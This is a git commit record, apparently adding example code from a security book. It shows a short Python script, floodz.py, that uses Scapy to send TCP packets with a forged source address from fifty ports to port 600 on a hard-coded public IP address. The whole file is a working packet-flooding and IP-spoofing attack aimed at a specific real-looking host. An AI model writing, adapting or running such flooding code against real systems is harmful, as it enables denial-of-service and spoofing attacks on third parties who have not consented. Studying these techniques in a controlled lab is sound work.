add sourcecode

This commit is contained in:
Jimmy Xiang
2020-11-12 17:02:10 +08:00
parent bf7c50956c
commit f698082a29
23 changed files with 2746 additions and 0 deletions

12
05/floodz.py Normal file
View File

@@ -0,0 +1,12 @@
from scapy.all import *
def floodz(source,target):
for source_p in range(100,150):
IPlayer = IP(src=source,dst=target)
TCPlayer = TCP(sport=source_p,dport=600)
pkt = IPlayer/TCPlayer
send(pkt)
source = "127.0.0.1"
target = "162.241.24.197"
floodz(source,target)